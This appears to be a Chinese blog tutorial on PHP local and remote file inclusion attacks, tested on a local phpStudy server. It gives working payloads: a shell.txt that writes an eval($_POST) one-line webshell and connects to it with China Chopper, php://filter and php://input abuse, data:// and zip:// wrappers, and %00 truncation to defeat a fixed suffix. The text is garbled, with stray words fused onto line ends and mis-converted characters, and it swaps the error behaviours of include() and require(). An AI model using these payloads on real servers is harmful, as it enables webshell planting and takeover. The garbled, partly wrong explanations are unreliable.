By : Mirror王宇陽php
E-mail : mirrorwangyuyang@gmail.comhtml
聯繫方式: 2821319009 (QQ)web
我的主頁: https://www.cnblogs.com/wangyuyang1016/shell
文件包含是指一個文件裏面包含另一個文件;開發過程當中,重複使用的函數會寫入單獨的文件中,須要使用該函數的時候直接從程序中調用該文件便可,這一個過程就是「文件包含」瀏覽器
因爲文件包含的功能特性,致使客戶端能夠調用一個惡意文件,進行動態調用緩存
PHP提供了四個文件包含函數提供的功能強大且靈活多變,常常存在文件包含函數安全
include()
沒法查到被包含的文件時產生錯誤"E_COMPLE_ERROR"中止運行bash
include_once()
和前者同樣,若是文件中的代碼已經包含了,則再也不會包含服務器
require()
沒法查到被包含的文件是產生警告"E_WARNING"繼續運行app
require_once()
和前者同樣,沒法查到被包含的文件是產生警告"E_WARNING"繼續運行
<?php include("ArrayUtil.php"); //利用include函數包含 $arr = array("sougou","google","yahoo","baidu","FackBook"); PrintArr($arr); ?>
<?php function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){ foreach ($arr as $key => $value) { echo "$key $sp $value $lin"; } } ?>
在index.php文件中使用include
函數文件包含ArrayUtil.php文件,在index.php中可使用ArrayUtil.php文件中的PrintArr()函數;在index.php第4行咱們調用了PrintArr()函數。
使用瀏覽器訪問index.php
<?php include("phpinfo.txt"); ?>
<?php phpinfo(); ?>
喏!一個txt文件被成功包含了;筆者測試了其它各類服務器可接受的文件格式,均實驗成功!由此筆者獲得的論證是:include()
函數包含的任何文件都會以PHP文件解析,但前提是文件的內容符合PHP代碼規範;若內容不符合PHP代碼規範則會在頁面暴露文件內容(這是重點)
PHP不僅僅能夠在服務端(本地)執行文件包含,也能夠遠程執行文件包含;
遠程的文件包含執行須要修改PHP.ini配置文件(php默認關閉遠程包含文件)
allow_url_include = on
因爲咱們不具有遠程條件,只好本地搭建環境將就一下哈!!!
D:\phpStudy\phpinfo.txt
<?php phpinfo(); ?>
127.0.0.1/index.php
<?php include("D:\phpStudy\phpinfo.txt"); ?>
換一個方法
<?php include($_GET['url']); ?>// 記住這個代碼後面會一直使用
這裏的URL參數值提交的只是一個遠程包含文件的URL地址;遠程文件包含和本地文件包含的解析方法同樣,只要符合PHP代碼規範就能夠按照PHP代碼解析執行。
若是咱們包含的文件不存在,則會發生Error,網站的路徑就會暴露!
構造相似http://127.0.0.1/?url=.\phpinfo.txt
喏!咱們看見了文本內容,爲何呢?
由於
include()
函數會執行文件包含,不論是什麼格式的文件只要符合PHP代碼規範的內容就會按照PHP解析;而不符合PHP代碼規範的則會直接輸出文件內容。
綜合特性:利用該特性包含文件的方法,訪問本地的其它文件均會執行php解析或者回顯文本的內容;尤爲是系統敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路徑則須要結合其它姿式來得到(例如上面利用error回顯的方式)
重要的一點:得具備文件的操做權限哦
遠程包含文本的條件是 allow_url_fopen= on
建立shell.txt(功能:在服務端本地建立一句話木馬腳本)
<?php $key= ("<?php @eval(\$_POST['mirror']);?>");//$符號須要轉義要按字符存 $file = fopen("shell.php","w"); fwrite($file, $key); fclose($file); ?>
構造:http://127.0.0.1/?url=..\xx\shell.txt
遠程包含文本執行成功後,服務端本地會建立一個"shell.php"一句話木馬執行文件
shell.php建立後,使用「菜刀」鏈接一句話:
喏!包含執行文件建立本地一個shell.php一句話木馬,而後菜刀連木馬!一梭子搞定!
利用web應用的上傳功能,上傳一張僞木馬圖片,而後利用文件包含執行已上傳的圖片,而後僞木馬圖片的功能就是被包含執行後在服務端本地建立一個木馬執行php文件
PHP內置不少的PHP封裝協議(詳細見官方文檔),封裝協議的功能和文件函數(fopen(),copy(),file_exists(),filesize())提供的功能類似
allow_url_fopen:on
默認開啓 該選項爲on即是激活了 URL 形式的 fopen 封裝協議使得能夠訪問 URL 對象文件等。
allow_url_include:off
默認關閉,該選項爲on即是容許 包含URL 對象文件等
考慮安全都是所有關閉
【引用官方文檔】
訪問本地文件系統
file://[本地文件的絕對路徑和文件名]
訪問各個IO流
須要開啓 allow_url_include: on
php://stdin:直接訪問PHP進程相應的輸入或輸出流(只讀)
php://stdout:直接訪問PHP進程相應的輸入或輸出流(只寫)
php://stderr:直接訪問PHP進程相應的輸入或輸出流(只寫)
php://filter:進行任意文件讀取的利用
php://input:訪問請求的原始數據的只讀流,將post請求中的數據做爲php解析
php://output:只寫的數據流,容許print和echo方式寫入到輸出緩存中
php://fd: 容許直接訪問指定的文件描述符
更多詳細能夠參考官方php://協議文檔
(zip:// , bzip2:// , zlib:// )屬於壓縮流,能夠訪問壓縮文件中的子文件,更重要的是不須要指定後綴名
zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]
注意 井字符號 ’ # ‘ 在url中須要轉爲 %23
allow_utl_include= On
data://text/plain;base64,[string_base64加密後]
查詢匹配的文件路徑模式
glob://[url]
<?php // 循環 ext/spl/examples/ 目錄裏全部 *.php 文件 // 並打印文件名和文件尺寸 $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
處理交互式數據流(默認未開啓,須要安裝PECL—Expect擴展)
expect://command
參見文章:php僞協議實現命令執行的七種姿式
利用file://讀取文件內容
file://[本地文件的絕對路徑和文件名]
利用php://filter讀取php文件內容
http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php
這裏的結果是通過Base64加密的
使用php://input
能夠執行PHP語句,可是受限於allow_utl_include= On
url text:
http://127.0.0.1/index.php/?url=php://input
Post data:
<?php phpinfo();?>
喏!利用「php://input"執行php代碼」post data數據內容「,這裏只是回顯phpinfo(),若是咱們利用php://input執行服務端本地建立php一句話木馬文件,後果可想而知
受限於allow_utl_include= On
php.ini配置
?file=[data://text/plain;base64,[base64編碼加密的payload)]
注意沒有php閉合標籤
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php
上面這張圖是筆者從FREEBUF漏斗社區的文章中copy來的,算是一個不錯的總結^_^
magic_quotes_gpc = off
函數爲Off狀態纔可使用,由於在On狀態下%00會被轉義致使沒法截斷;https://www.cnblogs.com/timelesszhuang/p/3726736.htmlPHP6/7關閉了
magic_quotes_gpc
函數: PHP6\7關閉magic_quotes_gpc對程序的影響
文件包含的漏洞修復,尤爲是include()
相關文件包含函數,只要限制後綴名就行了?
<?php if(iset($_GET['url'])){ include $_GET['url'].".php"; } else{ include 'home.php'; } ?>
上述程序就是固定限制後綴名,用戶只須要指明文件名就能夠,不須要用戶提交後綴名
如今咱們利用以前的包含手段,包含"shell.php"文件
http://127.0.0.1/index.php/?url=shell.php
因爲程序固定了文件後綴格式,因而在後臺會構成
shell.php.php
而include()
沒法查找到「shell.php.php」,故此致使報錯
採用字節截斷
http://127.0.0.1/index.php/?url=shell.php%00
PHP5.2+的版本漸漸的都修復了字節截斷,因此不多有利用了
筆者不作過多的細節說明^_^